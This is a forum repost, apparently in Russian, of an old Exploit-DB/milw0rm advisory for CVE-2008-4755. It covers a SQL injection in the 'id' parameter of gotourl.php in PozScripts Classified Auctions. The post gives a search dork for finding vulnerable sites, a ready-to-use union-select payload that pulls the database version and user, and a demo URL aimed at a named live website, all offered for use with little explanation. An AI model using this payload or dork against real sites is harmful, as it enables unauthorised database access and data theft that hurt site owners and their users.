Exploit PozScripts Classified Auctions - 'gotourl.php?id' SQL Injection

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
6839
Проверка EDB
  1. Пройдено
Автор
HUSSIN X
Тип уязвимости
WEBAPPS
Платформа
PHP
CVE
cve-2008-4755
Дата публикации
2008-10-26
Код:
|___________________________________________________
|
| Classified Auctions (gotourl.php id) Remote SQL Injection Vulnerability
|
|___________________________________________________
|----------------  Hussin X  ------------------
|
|    Author: Hussin X
|
|    Home :  WwW.IQ-ty.CoM
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|___________________________________________________
|
| script :  http://www.pozscripts.com/index.php
|
| DorK   : inurl:gotourl.php?id=
|___________________________________________________

Exploit:
________


www.[target].com/Script/gotourl.php?id=-30+union+select+concat(version(),user())--


Demo:
________

http://www.singwebs.com/auction_demo/gotourl.php?id=-30+union+select+concat(version(),user())--



________________( Greetz )_____________________
 _____   ____   __   __     _       ____  
|_   _| |  _ \  \ \ / /    / \     / ___|
  | |   | |_) |  \ V /    / _ \   | |  _
  | |   |  _ <    | |    / ___ \  | |_| |
  |_|   |_| \_\   |_|   /_/   \_\  \____|
_______________________________________________

# milw0rm.com [2008-10-26]
 
Источник
www.exploit-db.com

Похожие темы